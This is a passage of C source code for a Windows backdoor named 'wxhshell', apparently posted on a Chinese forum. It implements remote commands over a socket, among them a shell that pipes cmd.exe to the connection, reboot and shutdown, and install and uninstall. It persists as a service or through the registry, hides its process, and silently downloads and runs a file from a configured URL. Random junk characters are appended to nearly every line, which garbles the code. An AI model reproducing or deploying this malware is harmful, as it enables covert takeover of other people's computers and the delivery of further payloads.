      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5F|oNI}$:  
    break; 6M_,4> -  
  } PeB7Q=d)K1  
  // 安装 ER$qL"H U  
  case 'i': { +dSO?Y]  
    if(Install()) @ **]o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LZ#SX5N  
    else O9[Dae{i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `GT{=XJfY  
    break; 4Q(GX.5  
    } .q (1  
  // 卸载 0)-yLfTn  
  case 'r': { r5\|%5=J  
    if(Uninstall()) ZncJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); io(Rb\#"  
    else /aD3E"Op  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sM'%apM#  
    break; P PSSar  
    } <%]i7&8|  
  // 显示 wxhshell 所在路径 jAb R[QR1%  
  case 'p': { S6Fn(%T+9  
    char svExeFile[MAX_PATH]; q'[q]  
    strcpy(svExeFile,"\n\r"); vTU*6)  
      strcat(svExeFile,ExeFile); J9*$@&@S  
        send(wsh,svExeFile,strlen(svExeFile),0); hE>%LcP  
    break; le J\  
    } =6:>C9  
  // 重启 $Q< >M B7  
  case 'b': { <C,lHt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  - }9a%  
    if(Boot(REBOOT)) j]' 7"b5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^8eu+E.{  
    else { avo[~ `.  
    closesocket(wsh); 1US4:6xX_  
    ExitThread(0); jLG Q^v"  
    } a$ FO5%o  
    break; K _sHZ  
    } V t@]  
  // 关机 yd4\%%]  
  case 'd': { z<9wh2*M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bs=x>F  
    if(Boot(SHUTDOWN)) fTg^~XmJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +GqUI~a  
    else { hMvLx>q3)  
    closesocket(wsh); KN-)m ta&  
    ExitThread(0); E1-BB  
    } m3i+b  
    break; 7$u}uv`j  
    } i917d@r(<  
  // 获取shell zBTyRL l  
  case 's': { I[v6Y^{q  
    CmdShell(wsh); Ga1(T$ |H  
    closesocket(wsh); lo:{T _ay  
    ExitThread(0); z->[:)c  
    break; ruQ1Cph  
  } qz<>9n@o  
  // 退出 OkaN VTB  
  case 'x': { Gm2q`ki  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w[X/|O  
    CloseIt(wsh); /f0*NNSat-  
    break; ~dc~<hK  
    } VuWBWb?0Q  
  // 离开 r0 fxEYze&  
  case 'q': { !m<v@SmL\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qlgo#[i  
    closesocket(wsh); p,K]`pt=  
    WSACleanup(); Q=~ *oYR  
    exit(1); QpZ CU]  
    break; dF<GuS;l5  
        } 6./3w&D;  
  } qzt.k^'-^  
  } lOuO~`,J  
E +!A0!1  
  // 提示信息 A, ;V|jv9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u?B9zt%$-m  
} Uop`)  
  } sOUQd-!"  
]Ll<Z  
  return; {oK4 u  
} |)}&: xA%  
Ufr,6IX  
// shell模块句柄 s7> a  
int CmdShell(SOCKET sock) ;*}tbh3;.  
{ |s$w i>7l  
STARTUPINFO si; P/XCaj3a[  
ZeroMemory(&si,sizeof(si)); ' V#$PZx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fS#I?!*}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6( 0ME$  
PROCESS_INFORMATION ProcessInfo; j|Hyv{sM  
char cmdline[]="cmd"; $4ZjNN@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9 m`VIB  
  return 0; ]]^eIjg>a6  
} 6k-  
l1I\khS  
// 自身启动模式 bc}BQ|Q  
int StartFromService(void) 2M o oqJp  
{ O; #qG/b1  
typedef struct \\UOpl  
{ (@&+?A"6`  
  DWORD ExitStatus; QRKr2:o{  
  DWORD PebBaseAddress;  :qe.*\ c  
  DWORD AffinityMask; ?hh#@61  
  DWORD BasePriority; 1@S(v L3a  
  ULONG UniqueProcessId; Xdtyer%  
  ULONG InheritedFromUniqueProcessId; EwX:^1f  
}   PROCESS_BASIC_INFORMATION; bDADFitSo  
JK y0 6I  
PROCNTQSIP NtQueryInformationProcess; f5o##ia7:  
F9PXQD(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .:/[%q{k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +ko-oZ7V  
# m;|QWW  
  HANDLE             hProcess; *P0sl( &  
  PROCESS_BASIC_INFORMATION pbi; AREpZ2GiU  
o<8SiVC2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %("WoBPH`  
  if(NULL == hInst ) return 0; }u?DK,R  
6O0CF}B*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YM.Q?p4g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >%1mx\y^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nm4 h  
NPjNkpWm&=  
  if (!NtQueryInformationProcess) return 0; }$X/HK  
c>.=;'2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `m+o^!SGe  
  if(!hProcess) return 0; P?/Mrz   
#L`'<ge'g*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P5Is#7udN8  
m4~>n(  
  CloseHandle(hProcess); u#Y#,:{  
n>k1 D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ` ),ACkU>U  
if(hProcess==NULL) return 0; _oAWj]~rO  
&Fy})/F3v  
HMODULE hMod; E@[ZwTnJ  
char procName[255]; wGhy"1g#  
unsigned long cbNeeded; L)yc_ d5  
@tzL4hy%^j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h}&1 7M  
bSgdVP-  
  CloseHandle(hProcess); #Pr w2u  
)y"8Bx=x4  
if(strstr(procName,"services")) return 1; // 以服务启动 UR<a7j"@2  
AXT(D@sI=  
  return 0; // 注册表启动 2C[xrZa^  
} o_R_  
ffI z>Of:  
// 主模块 ,0\P r  
int StartWxhshell(LPSTR lpCmdLine) d8ck].m=  
{ ni~1)"U.  
  SOCKET wsl; *c>B,  
BOOL val=TRUE; Q|7l!YTzVu  
  int port=0; Cc&SHG*R  
  struct sockaddr_in door; Gc*p%2c  
|{V@t1`  
  if(wscfg.ws_autoins) Install(); 7&w$@zs87  
K.r "KxCm|  
port=atoi(lpCmdLine); BRTCo,i  
G/4~_\YMq  
if(port<=0) port=wscfg.ws_port; oc PM zq-  
\#7@"~<  
  WSADATA data; J-5E# v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iTc q=  
[Ufx=BPx3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }UX0 eI4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |f{(MMlj  
  door.sin_family = AF_INET; u{8:VX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bv{DZ?{s  
  door.sin_port = htons(port); =.(~`ici~  
;Q\MH t*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6Ij'z9nJw  
closesocket(wsl); ;Z!x\{- L  
return 1; 9^g?/8  
} I4(z'C  
2F#DJN#  
  if(listen(wsl,2) == INVALID_SOCKET) {  1 .Nfl@]  
closesocket(wsl); >SHP,><H/  
return 1; \V%l.P4>e  
} m<I>NYfE  
  Wxhshell(wsl); <_3OiU= w  
  WSACleanup(); [ XBVES8  
]US  
return 0; pE381Cw  
?.Lq`~T`  
} GZzBATx  
sh)[|?7z  
// 以NT服务方式启动 k] iyx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^,{ r[}  
{ 3A!Qu$r9  
DWORD   status = 0; TrR=3_;.7  
  DWORD   specificError = 0xfffffff; cm17hPe`}n  
dM)x|b3z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;5&=I|xqe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S+7u,%n/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z3O_K  
  serviceStatus.dwWin32ExitCode     = 0; @TvDxY1)6Z  
  serviceStatus.dwServiceSpecificExitCode = 0; i% n9RuULh  
  serviceStatus.dwCheckPoint       = 0; |31/*J!@z*  
  serviceStatus.dwWaitHint       = 0; W0k7(v)  
m8<.TCIQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %`\=qSf*  
  if (hServiceStatusHandle==0) return; Wa<SYJ  
Lk2;\D>  
status = GetLastError(); ,;)_$%bHc  
  if (status!=NO_ERROR) qQp;i{X  
{ bY}:!aR<mK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w`X0^<Fv  
    serviceStatus.dwCheckPoint       = 0; o:PdPuZVR  
    serviceStatus.dwWaitHint       = 0; "5@\"L  
    serviceStatus.dwWin32ExitCode     = status; se*!OiOt  
    serviceStatus.dwServiceSpecificExitCode = specificError; J0FJ@@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L XHDX  
    return; :!L>_ f  
  } 7bYN  
l?O%yf`s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )7  M  
  serviceStatus.dwCheckPoint       = 0; q{uv?{I  
  serviceStatus.dwWaitHint       = 0; ;( [^+_/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a[ yyEgm2  
} y`a]##1j$M  
-Ra-Ux  
// 处理NT服务事件,比如:启动、停止 @cB6,iUr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S7(tGD  
{ >)bn #5  
switch(fdwControl) Xq%ijo  
{ -+fW/Uo  
case SERVICE_CONTROL_STOP: k{J\)z  
  serviceStatus.dwWin32ExitCode = 0; pcNpr`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >l^[73,]L  
  serviceStatus.dwCheckPoint   = 0; z-JYzxL9  
  serviceStatus.dwWaitHint     = 0; 'J8Ga<s7C  
  { n8Rsle`a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `%_(_%K  
  } h~5gHx/ a  
  return; _rz7)%Y'#$  
case SERVICE_CONTROL_PAUSE: Odr<fvV,>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8+Abw)]s  
  break; p9[gG\  
case SERVICE_CONTROL_CONTINUE: !@[@&.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e'2w-^7  
  break; 7Cx-yv  
case SERVICE_CONTROL_INTERROGATE: 0?*":o30  
  break; d@ef+-  
}; `>u^Pm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oT i$@q  
} ?0?+~0sI  
^?S lM  
// 标准应用程序主函数 4VP$, |a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .5!Q(  
{ `<(o;*&Gd  
#{5h6IC  
// 获取操作系统版本 ]SUW"5L-  
OsIsNt=GetOsVer(); AZva  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [/U5M>#n  
OjsMT]  
  // 从命令行安装 y*T@_on5  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8qwPk4  
nZ4@g@e2  
  // 下载执行文件 O'S9y  
if(wscfg.ws_downexe) { LF ;gdF%@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bA07zI2  
  WinExec(wscfg.ws_filenam,SW_HIDE); Da ]zbz%%  
} ;R7+6  
/X;! F>  
if(!OsIsNt) { 7ZFd;-  
// 如果时win9x,隐藏进程并且设置为注册表启动 +,UuJ6[n  
HideProc(); En ]"^*  
StartWxhshell(lpCmdLine); j`QXl  
}  Sr+ &  
else %<\tN^rP  
  if(StartFromService()) 22R ,  
  // 以服务方式启动 >'v{o{k|C  
  StartServiceCtrlDispatcher(DispatchTable); "@L|Z6U(  
else T1c& 3  
  // 普通方式启动 GRAPv|u9[  
  StartWxhshell(lpCmdLine); K_-S`-eH  
P.3kcZ   
return 0; P(B&*1X  
}
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只看该作者 1 发表于: 2006-10-10
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